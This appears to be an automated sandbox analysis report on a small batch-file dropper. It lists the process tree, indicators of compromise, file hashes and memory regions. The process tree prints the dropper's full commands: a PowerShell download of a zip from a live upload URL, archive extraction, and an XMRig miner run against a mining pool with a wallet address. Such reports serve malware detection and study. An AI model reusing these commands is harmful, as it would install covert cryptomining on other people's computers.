Analysis

  • max time kernel
    1794s
  • max time network
    1784s
  • platform
    windows10-1703_x64
  • resource
    win10-20231129-en
  • resource tags

    arch:x64arch:x86image:win10-20231129-enlocale:en-usos:windows10-1703-x64system
  • submitted
    11/12/2023, 01:49

General

  • Target

    tesy - Copy (7).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1372
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4904
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2872
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4696
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:672

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    3a7a599ea269c780c875e7120aa8e20f

    SHA1

    ad57b6119f6b189fec188a56b28b1c58aff03cd2

    SHA256

    7550f60f228f3ca27ceabfc3c947667ceffa3d436c2a7f70b2d5ffee2ec08f07

    SHA512

    a9b7f580fdd5db7e2117754b56a287d209cf90a03bfcfc279e28b4b22f89614ce7624a78fb0a5459a5e4495c3666700fd7abe27964a4741216be2b877315022c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sha5j3ju.ybp.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\test1.zip

    Filesize

    226KB

    MD5

    3a760b321f0e5dafc90cc7d89f4ba491

    SHA1

    d815d1ce875b92917f75c2282364063dfcd818f0

    SHA256

    c4f1a34a0daa7576b304cb091aae8e4ce3e6f177000be16fa8279a9a2bf8b789

    SHA512

    998a9b12612cf71332573e25ea17118c8779c994af19d6c374c620cfa5238d0565779862d14d376637366ae0a983cbbc8c5ef90ad0b3395914c17606dabe2e9f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    278B

    MD5

    080123b6eac4a332d3f2b11f6eb3aa54

    SHA1

    8f3d40eae881e3b871cff2aa85521d727ada2a64

    SHA256

    cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

    SHA512

    0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    87KB

    MD5

    55bb05883d0ee75b7140a4041560f51d

    SHA1

    3abe7e16c812fc16572addb3874b46b212179320

    SHA256

    9d276e4824416c299bd5e9c3e239b38e5e4b958a66352267615841e45ca5fa43

    SHA512

    84b08237b0db8b8fe3e7d14dee81e366a49bbcefc6a9e54485653f4121f3a502b4473a6fd0da3fdfd293262974b3aa2480a45bd94d276a8899dfe5fd14af4180

  • memory/672-130-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-159-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-171-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-170-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-169-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-168-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-167-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-166-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-165-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-164-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-103-0x000001FB698A0000-0x000001FB698C0000-memory.dmp

    Filesize

    128KB

  • memory/672-163-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-104-0x000001FB698F0000-0x000001FB69910000-memory.dmp

    Filesize

    128KB

  • memory/672-105-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-107-0x000001FB6B1C0000-0x000001FB6B1E0000-memory.dmp

    Filesize

    128KB

  • memory/672-108-0x000001FB6B1E0000-0x000001FB6B200000-memory.dmp

    Filesize

    128KB

  • memory/672-106-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-109-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-110-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-112-0x000001FB6B1E0000-0x000001FB6B200000-memory.dmp

    Filesize

    128KB

  • memory/672-111-0x000001FB6B1C0000-0x000001FB6B1E0000-memory.dmp

    Filesize

    128KB

  • memory/672-113-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-114-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-115-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-116-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-117-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-118-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-119-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-120-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-121-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-122-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-123-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-124-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-125-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-126-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-127-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-128-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-129-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-162-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-131-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-161-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-134-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-132-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-135-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-136-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-137-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-138-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-139-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-140-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-141-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-142-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-143-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-144-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-145-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-146-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-147-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-148-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-149-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-150-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-151-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-152-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-153-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-154-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-155-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-156-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-157-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-158-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-133-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/672-160-0x00007FF6EC070000-0x00007FF6ECB73000-memory.dmp

    Filesize

    11.0MB

  • memory/2872-41-0x000001C079CB0000-0x000001C079CC0000-memory.dmp

    Filesize

    64KB

  • memory/2872-38-0x00007FFB4B850000-0x00007FFB4C23C000-memory.dmp

    Filesize

    9.9MB

  • memory/2872-39-0x000001C079CB0000-0x000001C079CC0000-memory.dmp

    Filesize

    64KB

  • memory/2872-99-0x00007FFB4B850000-0x00007FFB4C23C000-memory.dmp

    Filesize

    9.9MB

  • memory/2872-76-0x000001C07A210000-0x000001C07A222000-memory.dmp

    Filesize

    72KB

  • memory/2872-89-0x000001C07A1F0000-0x000001C07A1FA000-memory.dmp

    Filesize

    40KB

  • memory/2872-62-0x000001C079CB0000-0x000001C079CC0000-memory.dmp

    Filesize

    64KB

  • memory/4904-25-0x0000022DAFE00000-0x0000022DAFE10000-memory.dmp

    Filesize

    64KB

  • memory/4904-6-0x00007FFB4B850000-0x00007FFB4C23C000-memory.dmp

    Filesize

    9.9MB

  • memory/4904-10-0x0000022DAFF40000-0x0000022DAFFB6000-memory.dmp

    Filesize

    472KB

  • memory/4904-9-0x0000022DAFE00000-0x0000022DAFE10000-memory.dmp

    Filesize

    64KB

  • memory/4904-8-0x0000022DAFE00000-0x0000022DAFE10000-memory.dmp

    Filesize

    64KB

  • memory/4904-4-0x0000022DAFE10000-0x0000022DAFE32000-memory.dmp

    Filesize

    136KB

  • memory/4904-30-0x00007FFB4B850000-0x00007FFB4C23C000-memory.dmp

    Filesize

    9.9MB